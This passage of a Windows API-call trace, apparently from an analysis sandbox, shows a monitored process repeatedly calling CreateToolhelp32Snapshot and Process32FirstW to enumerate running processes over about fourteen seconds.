CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x278 [0087.302] Process32FirstW (in: hSnapshot=0x278, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0087.502] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0087.505] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0087.869] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0087.873] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0088.043] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x278 [0088.047] Process32FirstW (in: hSnapshot=0x278, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0088.239] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x278 [0088.242] Process32FirstW (in: hSnapshot=0x278, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0088.408] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0088.412] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0088.580] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0088.583] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0088.812] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0088.815] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0089.046] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0089.049] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0089.191] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x26c [0089.197] Process32FirstW (in: hSnapshot=0x26c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0089.410] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0089.413] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0089.592] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0089.595] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0089.993] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0089.997] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0090.235] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0090.239] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0090.403] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x26c [0090.407] Process32FirstW (in: hSnapshot=0x26c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0090.617] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0090.621] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0090.840] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0090.844] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0091.027] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0091.031] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0091.199] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0091.202] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0091.367] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0091.370] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0091.573] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0091.576] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0091.725] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0091.728] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0092.072] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x258 [0092.075] Process32FirstW (in: hSnapshot=0x258, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0092.275] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x258 [0092.278] Process32FirstW (in: hSnapshot=0x258, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0092.418] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x258 [0092.421] Process32FirstW (in: hSnapshot=0x258, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0092.571] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0092.574] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0092.713] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0092.716] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0092.946] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0092.952] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0093.180] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x258 [0093.183] Process32FirstW (in: hSnapshot=0x258, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0093.351] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0093.354] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0093.570] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0093.573] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0093.710] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0093.714] Process32FirstW (in: hSnapshot=0x25c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0093.913] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0093.916] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0094.053] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0094.056] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0094.225] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x23c [0094.228] Process32FirstW (in: hSnapshot=0x23c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0094.396] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0094.399] Process32FirstW (in: hSnapshot=0x25c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0094.553] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0094.555] Process32FirstW (in: hSnapshot=0x25c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0094.724] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0094.727] Process32FirstW (in: hSnapshot=0x25c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0094.942] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0094.945] Process32FirstW (in: hSnapshot=0x25c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0095.083] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0095.086] Process32FirstW (in: hSnapshot=0x25c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0095.223] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0095.226] Process32FirstW (in: hSnapshot=0x25c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0095.364] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0095.367] Process32FirstW (in: hSnapshot=0x25c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0095.545] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0095.548] Process32FirstW (in: hSnapshot=0x25c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0096.487] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0096.490] Process32FirstW (in: hSnapshot=0x25c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0096.643] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0096.648] Process32FirstW (in: hSnapshot=0x25c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0096.877] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x290 [0096.880] Process32FirstW (in: hSnapshot=0x290, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0097.017] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x290 [0097.020] Process32FirstW (in: hSnapshot=0x290, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0097.158] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x290 [0097.161] Process32FirstW (in: hSnapshot=0x290, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0097.298] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x290 [0097.301] Process32FirstW (in: hSnapshot=0x290, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0097.454] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x290 [0097.457] Process32FirstW (in: hSnapshot=0x290, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0097.673] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0097.675] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0098.370] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0098.373] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0098.612] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x268 [0098.615] Process32FirstW (in: hSnapshot=0x268, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0098.843] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x268 [0098.845] Process32FirstW (in: hSnapshot=0x268, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0099.014] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0099.017] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0099.176] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0099.179] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0099.421] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0099.423] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0099.575] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0099.578] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0100.059] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x26c [0100.192] Process32FirstW (in: hSnapshot=0x26c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0100.387] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x26c [0100.390] Process32FirstW (in: hSnapshot=0x26c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0100.529] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x26c [0100.532] Process32FirstW (in: hSnapshot=0x26c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0100.730] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x26c [0100.733] Process32FirstW (in: hSnapshot=0x26c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0100.874] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0100.877] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0101.026] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0101.029] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0101.191] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0101.196] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0101.355] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0101.364] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0101.526] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x26c [0101.529] Process32FirstW (in: hSnapshot=0x26c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 